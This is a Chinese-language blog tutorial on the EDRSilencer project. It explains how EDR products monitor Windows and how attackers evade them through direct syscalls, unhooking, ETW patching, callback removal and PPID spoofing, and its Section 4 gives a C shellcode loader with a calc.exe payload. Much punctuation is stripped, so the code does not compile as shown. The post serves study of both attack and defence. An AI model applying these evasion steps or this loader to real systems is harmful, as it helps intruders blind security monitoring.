1. 项目概述与核心价值最近在安全研究圈子里一个名为“EDRSilencer”的开源项目引起了我的注意。这个项目由开发者 netero1010 维护从名字就能直白地看出它的目标让那些烦人的端点检测与响应系统“安静”下来。对于从事渗透测试、红队评估或者对系统底层安全机制有深度研究的朋友来说这绝对是一个值得深入把玩的工具。它不是一个简单的“绕过”工具而是一个旨在理解、分析和干扰现代EDR端点检测与响应产品核心检测逻辑的框架。简单来说EDRSilencer 试图通过一系列技术手段让我们的进程在EDR的“眼皮子底下”活动时减少被标记和告警的风险。这听起来可能有点“灰色”但其核心价值在于技术研究。通过逆向和对抗EDR我们能更深刻地理解现代终端安全产品的检测原理、数据采集点以及防御盲区这对于构建更健壮的防御体系蓝队视角和进行更有效的安全评估红队视角都至关重要。无论你是想验证自家EDR产品的强度还是想在授权测试中更隐蔽地行动理解这类工具背后的思想都大有裨益。2. EDR工作原理与对抗面分析要理解 EDRSilencer 在做什么我们首先得搞清楚现代EDR是怎么“看”我们的。传统的杀毒软件主要依赖特征码而EDR已经进化到了行为监控的层面。它就像一个24小时无休的“侦探”安装在终端上从多个维度收集系统活动数据。2.1 EDR的核心数据采集点一个典型的EDR agent会通过内核驱动、用户态钩子Hook和事件追踪ETW等多种技术监控以下关键点进程创建与销毁这是最基础的监控点。EDR会记录每一个新进程的诞生谁创建的、命令行参数是什么、镜像文件路径在哪以及进程的退出。CreateProcess系列API的调用是重点监控对象。模块加载DLL注入任何动态链接库DLL被加载到进程空间EDR都会知晓。这对于检测通过LoadLibrary、LdrLoadDll等API进行的代码注入或恶意模块加载至关重要。内存操作特别是跨进程的内存读写操作如WriteProcessMemory,ReadProcessMemory和内存属性变更如VirtualProtect,VirtualAlloc。这些操作常被用于进程注入如经典的CreateRemoteThreadWriteProcessMemory组合。网络活动监控socket创建、连接、数据发送与接收。EDR会分析连接的目的地IP、端口以及传输的数据特征以发现C2命令与控制通信或数据外泄。文件系统操作对敏感目录如系统目录、用户文档目录的创建、写入、删除操作尤其是可执行文件的落地。注册表操作监控对自启动项、服务配置、系统策略等关键注册表路径的修改。系统调用Syscall这是更底层的监控。EDR驱动可能会在ntdll.dll层面甚至系统服务描述符表SSDT层面挂钩直接监控从用户态发起的原生系统调用。这能绕过一些用户态的API钩子。这些数据点被收集后会发送到EDR的管理控制台由云端或本地的分析引擎进行关联分析利用规则引擎、机器学习模型等手段判断是否存在恶意行为。2.2 EDR的检测逻辑与对抗思路EDR的检测逻辑可以粗略分为两类静态检测和动态/行为检测。静态检测分析文件本身比如PE头信息、导入表、字符串、代码节的特征。对抗方法包括代码混淆、加壳、修改特征等。但这通常只是第一道关卡。动态/行为检测这是EDR的强项。它不关心文件“长什么样”而关心它“做什么”。对抗的核心思路不再是“隐身”完全不被看见几乎不可能而是“伪装”或“干扰”——让自己的行为看起来像一个合法、正常的进程。EDRSilencer 这类工具主要针对动态检测。它的思路不是去关闭或卸载EDR这本身就是一个高危且容易被检测的行为而是通过一系列技术在运行时“欺骗”或“绕过”EDR的监控逻辑使其要么收集不到我们的关键行为数据要么收集到的数据看起来是“无害”的。注意所有技术讨论均基于合法授权下的安全研究、产品测试或教育目的。未经授权对他人系统使用此类技术是非法行为。3. EDRSilencer 核心技术点深度拆解根据项目公开的信息和代码结构我们可以推断 EDRSilencer 可能整合或实现了多种主流的EDR对抗技术。下面我们来逐一拆解这些技术点理解其原理和实现要点。3.1 直接系统调用Direct Syscall这是目前绕过用户态钩子最主流和有效的方法之一。如前所述许多EDR会在ntdll.dll中的函数如NtCreateThreadEx,NtAllocateVirtualMemory开头植入钩子Hook以便在API被调用时跳转到自己的检测函数。直接系统调用跳过了ntdll.dll直接从汇编层面发起系统调用。原理在x64 Windows上系统调用通过syscall指令完成。每个系统调用都有一个唯一的编号SSN, System Service Number。ntdll.dll的本质就是封装了这些syscall指令的“包装器”。直接系统调用的步骤是获取目标系统调用的SSN。将参数按照x64调用约定rcx, rdx, r8, r9, 栈设置好。执行syscall指令。实现难点与技巧SSN检索不能硬编码SSN因为不同Windows版本、甚至不同补丁级别都可能改变SSN。常见方法是动态解析ntdll.dll在内存中的副本遍历导出函数找到目标函数并提取其机器码中的SSN。更高级的做法是使用“Hell‘s Gate”或“Halos Gate”技术通过分析ntdll.dll中相邻系统调用的模式来解析SSN以对抗EDR对ntdll的钩子或修改。堆栈对齐在执行syscall指令前必须确保堆栈指针RSP是16字节对齐的否则可能导致崩溃。通常会在汇编代码中手动进行对齐操作。返回地址混淆直接系统调用后返回地址会指向一段非常规的地址你的汇编代码这本身可能成为一个检测点。有些实现会尝试修复返回地址使其看起来像是从ntdll.dll返回的。在EDRSilencer中的可能应用项目很可能封装了一套直接系统调用的生成器或函数库让使用者可以方便地调用NtCreateThreadEx,NtWriteVirtualMemory等关键函数而无需经过被钩住的ntdll路径。3.2 回调函数移除或篡改Windows内核提供了许多回调Callback机制允许驱动程序包括EDR驱动在特定事件发生时得到通知。例如进程创建回调PsSetCreateProcessNotifyRoutineEx当有新进程创建时注册的回调函数会被调用。映像加载回调PsSetLoadImageNotifyRoutine当有映像EXE, DLL被加载到内存时触发。对象管理器回调、注册表回调等。对抗思路找到EDR驱动注册的这些回调函数地址并将其从回调链表中移除Unlink或者将其函数指针篡改为一个空函数或返回成功的函数。这样当相关事件发生时EDR的回调就不会被执行它也就“看不见”这些事件了。技术细节这通常需要内核模式的权限。因此EDRSilencer 如果包含此功能可能会依赖于一个加载的内核驱动程序.sys文件。需要逆向分析Windows内核数据结构如PspCreateProcessNotifyRoutine,PspLoadImageNotifyRoutine等数组找到存储回调函数指针的位置。操作内核内存具有极高风险极易导致系统蓝屏崩溃BSOD。代码必须极其严谨并考虑不同系统版本的结构体偏移差异。3.3 用户态钩子检测与恢复Unhooking如果不想或不能进行内核级操作那么针对用户态的钩子进行清理也是一个选择。EDR可能在ntdll.dll,kernel32.dll等关键DLL的函数开头植入jmp指令跳转到自己的检测模块。实现方法检测钩子将当前进程内存中加载的ntdll.dll的.text节代码节与磁盘上干净的ntdll.dll的对应节进行逐字节比较。不一致的地方就可能是钩子。恢复钩子将磁盘上干净的代码字节复制回内存覆盖掉被修改的指令。更隐蔽的方法不从磁盘读取而是从另一个未被钩住的进程如svchost.exe的内存空间中复制一份“干净”的ntdll.dll代码到当前进程。注意事项直接覆盖内存中的代码可能触发内存保护异常PAGE_GUARD。需要先使用VirtualProtect或NtProtectVirtualMemory将内存页面属性改为可写PAGE_EXECUTE_READWRITE。一些EDR会使用“蹦床”Trampoline钩子即把原函数的前几条指令保存到别处然后跳转到检测函数。简单地用磁盘代码覆盖可能会破坏这个“蹦床”导致EDR功能异常甚至崩溃反而暴露自己。更精细的做法是只分析而不修改或者动态计算一个未被钩住的函数地址来调用。3.4 内存操作混淆与规避EDR对敏感的内存操作非常警觉。以下是一些对抗技巧内存分配模式避免一次性分配大块可读可写可执行RWX的内存这非常可疑。可以分步进行先分配可读可写RW的内存写入shellcode然后改为可执行RX。或者使用NtCreateSectionNtMapViewOfSection来创建内存区域。线程创建CreateRemoteThread是一个高危API。可以尝试使用其他线程创建API如NtCreateThreadEx并尝试设置更隐蔽的线程上下文。或者利用进程已有的线程如通过QueueUserAPC将代码排入目标线程的APC队列等待其进入可警告状态时执行。进程注入目标选择注入到svchost.exe,explorer.exe,dllhost.exe等常见、白名单进程可能比注入到新创建的陌生进程更不显眼。但这需要了解目标进程的架构x86/x64和权限级别。3.5 ETW事件追踪干扰ETW是Windows强大的诊断和事件追踪框架也是EDR收集信息的主要来源之一。Microsoft-Windows-Threat-Intelligence等提供程序会提供详细的进程、线程、映像加载、网络事件。干扰方法Patch ETW相关函数例如在内存中定位ntdll!EtwEventWrite或ntdll!EtwEventWriteFull函数并修改其指令使其立即返回ret从而阻止事件上报。这种方法相对粗暴容易被检测。禁用特定的ETW Provider通过EventUnregister等API尝试注销当前进程中特定的ETW提供程序。这需要知道提供程序的GUID并且操作不一定总能成功。更底层的NtTraceControl这是一个未公开的系统调用可以对ETW进行更底层的操作但极其不稳定且随系统版本变化大风险很高。4. 实战模拟构建一个简易的EDR干扰模块为了更具体地说明我们来构思一个简化版的、用于研究的“EDR干扰”模块。再次强调以下代码仅用于教育目的请在隔离的测试环境中验证。假设我们的目标是在一个进程中执行一段shellcode同时尝试干扰EDR对进程创建和内存分配的监控。4.1 环境准备与思路我们不会直接编译或运行EDRSilencer而是基于其思想用C/C编写一个概念验证程序。核心思路使用直接系统调用这里以NtAllocateVirtualMemory为例来分配内存绕过用户态钩子。将shellcode写入分配的内存。修改内存保护为可执行。尝试创建一个线程来执行shellcode同样使用直接系统调用NtCreateThreadEx。可选在操作前尝试对当前进程的ntdll.dll进行简单的钩子检测。4.2 关键代码实现解析首先我们需要定义系统调用的函数原型和获取SSN的方法。这里我们采用一个非常简化的动态解析法实际项目如EDRSilencer会复杂得多。#include windows.h #include stdio.h // 定义NTAPI函数原型 typedef NTSTATUS (NTAPI *pNtAllocateVirtualMemory)( HANDLE ProcessHandle, PVOID *BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect ); typedef NTSTATUS (NTAPI *pNtProtectVirtualMemory)( HANDLE ProcessHandle, PVOID *BaseAddress, PSIZE_T NumberOfBytesToProtect, ULONG NewAccessProtection, PULONG OldAccessProtection ); typedef NTSTATUS (NTAPI *pNtCreateThreadEx)( PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, HANDLE ProcessHandle, PVOID StartRoutine, PVOID Argument, ULONG CreateFlags, SIZE_T ZeroBits, SIZE_T StackSize, SIZE_T MaximumStackSize, PPS_ATTRIBUTE_LIST AttributeList ); // 一个简单的Shellcode弹计算器 unsigned char shellcode[] { 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff, 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00 }; size_t shellcode_size sizeof(shellcode); // 获取ntdll中函数的地址这里只是获取未实现直接syscall PVOID GetNtdllFuncAddress(LPCSTR funcName) { HMODULE hNtdll GetModuleHandleA(ntdll.dll); if (!hNtdll) return NULL; return (PVOID)GetProcAddress(hNtdll, funcName); } int main() { printf([*] 开始模拟EDR干扰流程...\n); // 1. 获取“干净”的NTAPI函数地址假设ntdll未被钩住实际中需要更复杂的检测 pNtAllocateVirtualMemory NtAllocateVirtualMemory (pNtAllocateVirtualMemory)GetNtdllFuncAddress(NtAllocateVirtualMemory); pNtProtectVirtualMemory NtProtectVirtualMemory (pNtProtectVirtualMemory)GetNtdllFuncAddress(NtProtectVirtualMemory); pNtCreateThreadEx NtCreateThreadEx (pNtCreateThreadEx)GetNtdllFuncAddress(NtCreateThreadEx); if (!NtAllocateVirtualMemory || !NtProtectVirtualMemory || !NtCreateThreadEx) { printf([-] 获取NTAPI函数失败。\n); return -1; } printf([] 获取到关键NTAPI函数地址。\n); // 2. 分配内存 (使用NTAPI绕过可能的用户态钩子) PVOID baseAddr NULL; SIZE_T regionSize shellcode_size; NTSTATUS status NtAllocateVirtualMemory( GetCurrentProcess(), baseAddr, 0, ®ionSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE // 初始分配为RW非RWX ); if (status ! 0) { printf([-] NtAllocateVirtualMemory 失败: 0x%X\n, status); return -1; } printf([] 内存分配成功地址: %p\n, baseAddr); // 3. 写入Shellcode memcpy(baseAddr, shellcode, shellcode_size); printf([] Shellcode 写入成功。\n); // 4. 修改内存保护为可执行 (RX) ULONG oldProtect; status NtProtectVirtualMemory( GetCurrentProcess(), baseAddr, shellcode_size, PAGE_EXECUTE_READ, oldProtect ); if (status ! 0) { printf([-] NtProtectVirtualMemory 失败: 0x%X\n, status); VirtualFree(baseAddr, 0, MEM_RELEASE); return -1; } printf([] 内存保护已更改为 PAGE_EXECUTE_READ。\n); // 5. 创建线程执行Shellcode (使用NTAPI) HANDLE hThread NULL; status NtCreateThreadEx( hThread, THREAD_ALL_ACCESS, NULL, GetCurrentProcess(), (PTHREAD_START_ROUTINE)baseAddr, NULL, 0, 0, 0, 0, NULL ); if (status ! 0) { printf([-] NtCreateThreadEx 失败: 0x%X\n, status); VirtualFree(baseAddr, 0, MEM_RELEASE); return -1; } printf([] 远程线程创建成功。\n); // 等待线程结束 WaitForSingleObject(hThread, INFINITE); CloseHandle(hThread); VirtualFree(baseAddr, 0, MEM_RELEASE); printf([*] 模拟流程结束。\n); return 0; }代码要点解析我们使用了GetProcAddress从ntdll.dll获取函数地址。这并没有绕过用户态钩子因为如果EDR钩住了NtAllocateVirtualMemory我们获取到的地址就是被钩住的函数。真正的直接系统调用需要内联汇编或手动解析SSN。上述代码只是一个“使用NTAPI”的示例比使用VirtualAllocEx和CreateRemoteThread这类高级API稍微底层一点但并非真正的绕过。EDRSilencer的核心价值在于实现了真正的直接系统调用或更底层的操作。内存分配时我们分了两步先PAGE_READWRITE写入数据后再改为PAGE_EXECUTE_READ。这比直接分配PAGE_EXECUTE_READWRITE内存的行为模式更隐蔽一些。我们使用了NtCreateThreadEx而不是CreateRemoteThread。虽然两者都可能被监控但使用更底层的NTAPI是绕过技术中的常见步骤。4.3 编译与测试注意事项编译环境使用Visual Studio需要链接ntdll.lib通常通过#pragma comment(lib, ntdll.lib)或项目设置。或者使用MinGW等。测试环境务必在完全隔离的虚拟机中进行例如Windows 10/11 虚拟机并安装有EDR产品如Defender for Endpoint, CrowdStrike Falcon, Carbon Black等的试用版或评估版。行为分析运行程序后观察EDR控制台是否产生了相应的告警。对比使用普通APIVirtualAllocExCreateRemoteThread和上述NTAPI方式告警等级或类型是否有差异。动态分析使用Process Monitor, Process Hacker 或 Sysinternals Suite 等工具监控进程的详细行为查看哪些系统调用被真正触发。5. 高级对抗技术与EDR的进化上述技术只是基础。现代高级威胁APT和EDR产品之间的对抗是螺旋式上升的。5.1 EDR的检测增强内核回调保护EDR驱动可能会保护自己注册的回调监控回调链表是否被篡改或者使用更底层的回调机制。直接系统调用检测EDR可以监控syscall指令的来源。如果发现syscall不是从ntdll.dll的内存区域发起的就可能标记为可疑。对抗方法包括使用“Return Address Spoofing”来伪造返回地址。内存扫描与行为建模EDR会定期或触发式扫描进程内存寻找已知的shellcode特征或异常的内存属性组合如私有可执行内存、包含特定指令序列。也会对进程的行为序列进行建模即使单个API调用看起来正常一系列操作的组合也可能被判定为恶意。传感器融合结合文件、网络、注册表等多维度信息进行关联分析降低误报提高检出率。5.2 红队的进阶对抗思路Living Off The Land (LOLBAS)最大化利用操作系统自带的、签名的、可信的工具如powershell.exe,certutil.exe,msbuild.exe来执行恶意操作减少落地新文件和新进程。父进程欺骗PPID Spoofing创建新进程时伪造其父进程ID使其看起来是由explorer.exe或svchost.exe等可信进程创建的而非你的恶意进程。进程镂空Process Hollowing与模块篡改挂起一个合法进程清空其内存注入自己的代码然后恢复执行。或者篡改一个已加载的合法DLL在其中添加恶意代码。硬件断点与调用栈欺骗利用调试寄存器DR0-DR3设置硬件断点来Hook函数比软件钩子更隐蔽。同时精心构造调用栈使其在EDR回溯时看起来合理。利用合法的代码签名证书窃取或购买合法的代码签名证书来签署恶意负载绕过基于签名的初始信任检查。6. 研究EDRSilencer项目的实际意义与建议对于安全研究人员和渗透测试者像EDRSilencer这样的项目是一个宝贵的学习资源。研究建议代码审计仔细阅读其源码理解它具体实现了哪些技术直接系统调用、ETW Patch、回调移除等。关注它是如何动态获取SSN的如何处理不同Windows版本差异的。动态调试在调试器中单步跟踪程序的执行观察它是如何修改内存、调用系统服务的。使用内核调试工具如WinDbg观察其对内核回调的影响。对比测试在装有不同EDR产品的测试环境中运行使用EDR提供的日志和告警功能观察哪些行为被检测到哪些被绕过。记录下不同EDR产品的检测能力差异。思考防御从蓝队角度出发思考如何检测这些绕过技术。例如监控非ntdll发起的syscall、检测内核回调链的完整性、分析进程行为的时序异常等。法律与道德底线必须反复强调所有这些技术知识必须应用于合法合规的场景包括但不限于企业内部红队演练需明确授权。安全产品如EDR、IPS的检测能力验证与提升。学术研究。在CTFCapture The Flag竞赛中。未经授权使用这些技术攻击他人系统是明确的犯罪行为。7. 总结与个人体会折腾像EDRSilencer这样的项目最大的收获不是学会了几种“绕过杀毒软件”的技巧而是深入理解了Windows操作系统底层的安全机制和现代威胁检测引擎的工作原理。这是一个从“黑盒”到“灰盒”甚至“白盒”的认知过程。我个人的体会是攻防对抗没有银弹。EDRSilencer展示的技术可能在一段时间内有效但随着EDR产品的更新迭代其中一些方法很快会被检测。安全是一个动态的过程。对于防御方而言不能依赖单一检测点需要构建纵深防御体系结合网络流量分析、终端行为分析、威胁情报和人工研判。对于攻击方在授权范围内则需要不断研究新技术、新方法并深刻理解“隐蔽”的艺术其核心往往不在于技术有多高深而在于对系统和环境有多了解。最后保持对技术的好奇心但永远用道德和法律约束自己的行为。在虚拟机和实验室里你可以尽情测试、崩溃、重启但在真实世界每一步操作都应有明确的授权和正当的目的。这才是安全研究长久发展的基石。